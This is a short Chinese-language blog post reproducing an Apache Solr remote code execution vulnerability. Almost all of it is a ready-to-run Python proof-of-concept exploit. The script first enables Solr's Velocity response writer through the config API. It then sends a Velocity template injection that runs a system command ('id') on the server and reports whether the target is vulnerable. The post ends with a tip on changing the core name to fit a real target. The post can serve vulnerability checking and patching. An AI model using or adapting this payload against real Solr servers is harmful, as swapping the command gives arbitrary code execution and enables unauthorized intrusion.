Solr-rce漏洞复现

Posted 2020-11-21 jinqi520

最近Solr又出了一个RCE漏洞,复现了一下

# coding: utf-8

import requests
import argparse
from urllib import parse

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(‘--url‘, type=str, help=‘display an url‘)
    args = parser.parse_args()
    if args.url:
        urlparse = parse.urlparse(args.url)
        url = urlparse.scheme + ‘://‘ + urlparse.netloc + ‘/‘
        headers = {
            ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1‘,
            "Content-Type": "application/json"
        }
        datas = {
            "update-queryresponsewriter": {
                "startup": "lazy",
                "name": "velocity",
                "class": "solr.VelocityResponseWriter",
                "template.base.dir": "",
                "solr.resource.loader.enabled": "true",
                "params.resource.loader.enabled": "true"
            }
        }
        post_url = parse.urljoin(url, "/solr/demo/config")
        resp = requests.post(post_url, headers=headers, data=datas, verify=False)
        get_url = parse.urljoin(url, "/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
        response = requests.get(get_url, verify=False)
        if r"uid" in response.text:
            print("存在Solr 远程代码执行漏洞！")
            print(" " + response.text)
        else:
            print("不存在漏洞")
    else:
        print("缺失参数 --url")

 

用的python3写的，效果如下：

 

 

 

值得注意的是这里poc中的“/solr/demo/config” 使用的是demo，然后并不是所有环境中都有名为demo的节点的，实际场景中需要去solr控制台中的 Core Admin查看